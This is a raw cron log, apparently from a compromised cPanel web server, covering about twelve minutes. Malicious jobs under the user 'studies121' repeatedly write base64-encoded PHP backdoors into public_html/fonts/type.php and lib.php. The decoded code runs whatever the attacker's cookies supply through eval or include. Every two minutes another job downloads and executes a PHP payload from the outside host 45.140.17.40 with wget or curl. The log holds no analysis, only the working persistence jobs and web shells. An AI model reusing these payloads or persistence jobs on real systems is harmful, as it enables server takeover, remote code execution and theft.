Sep  3 11:48:01 ip-184-168-122-23 CROND[31616]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:48:01 ip-184-168-122-23 CROND[31617]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 11:49:01 ip-184-168-122-23 CROND[31707]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 11:49:01 ip-184-168-122-23 CROND[31711]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:49:01 ip-184-168-122-23 CROND[31710]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 11:49:01 ip-184-168-122-23 CROND[31709]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:50:01 ip-184-168-122-23 CROND[31932]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 11:50:01 ip-184-168-122-23 CROND[31934]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 11:50:01 ip-184-168-122-23 CROND[31935]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 11:50:01 ip-184-168-122-23 CROND[31937]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 11:50:01 ip-184-168-122-23 CROND[31938]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:50:01 ip-184-168-122-23 CROND[31944]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 11:50:01 ip-184-168-122-23 CROND[31941]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 11:50:01 ip-184-168-122-23 CROND[31942]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 11:50:01 ip-184-168-122-23 CROND[31945]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:51:01 ip-184-168-122-23 CROND[32048]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 11:51:01 ip-184-168-122-23 CROND[32051]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:51:01 ip-184-168-122-23 CROND[32055]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:51:01 ip-184-168-122-23 CROND[32059]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 11:52:01 ip-184-168-122-23 CROND[32161]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 11:52:01 ip-184-168-122-23 CROND[32165]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:52:01 ip-184-168-122-23 CROND[32163]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 11:52:01 ip-184-168-122-23 CROND[32162]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 11:52:01 ip-184-168-122-23 CROND[32166]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:53:01 ip-184-168-122-23 CROND[32251]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 11:53:01 ip-184-168-122-23 CROND[32256]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:53:01 ip-184-168-122-23 CROND[32254]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 11:53:01 ip-184-168-122-23 CROND[32255]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:54:01 ip-184-168-122-23 CROND[32335]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 11:54:01 ip-184-168-122-23 CROND[32337]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:54:01 ip-184-168-122-23 CROND[32338]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 11:54:01 ip-184-168-122-23 CROND[32340]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:54:01 ip-184-168-122-23 CROND[32341]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 11:55:01 ip-184-168-122-23 CROND[32512]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 11:55:01 ip-184-168-122-23 CROND[32515]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:55:01 ip-184-168-122-23 CROND[32514]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 11:55:01 ip-184-168-122-23 CROND[32516]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 11:55:01 ip-184-168-122-23 CROND[32518]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 11:55:01 ip-184-168-122-23 CROND[32517]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:56:01 ip-184-168-122-23 CROND[32608]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 11:56:01 ip-184-168-122-23 CROND[32610]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 11:56:01 ip-184-168-122-23 CROND[32611]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:56:01 ip-184-168-122-23 CROND[32612]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:56:01 ip-184-168-122-23 CROND[32613]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 11:57:01 ip-184-168-122-23 CROND[32724]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 11:57:01 ip-184-168-122-23 CROND[32726]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:57:01 ip-184-168-122-23 CROND[32727]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:57:01 ip-184-168-122-23 CROND[32728]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 11:58:01 ip-184-168-122-23 CROND[356]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 11:58:01 ip-184-168-122-23 CROND[358]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 11:58:01 ip-184-168-122-23 CROND[359]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:58:01 ip-184-168-122-23 CROND[360]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:58:01 ip-184-168-122-23 CROND[361]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 11:59:01 ip-184-168-122-23 CROND[473]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:59:01 ip-184-168-122-23 CROND[475]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:59:01 ip-184-168-122-23 CROND[476]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 11:59:01 ip-184-168-122-23 CROND[478]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 12:00:02 ip-184-168-122-23 CROND[669]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:00:02 ip-184-168-122-23 CROND[670]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 12:00:02 ip-184-168-122-23 CROND[677]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 12:00:02 ip-184-168-122-23 CROND[681]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 12:00:02 ip-184-168-122-23 CROND[683]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
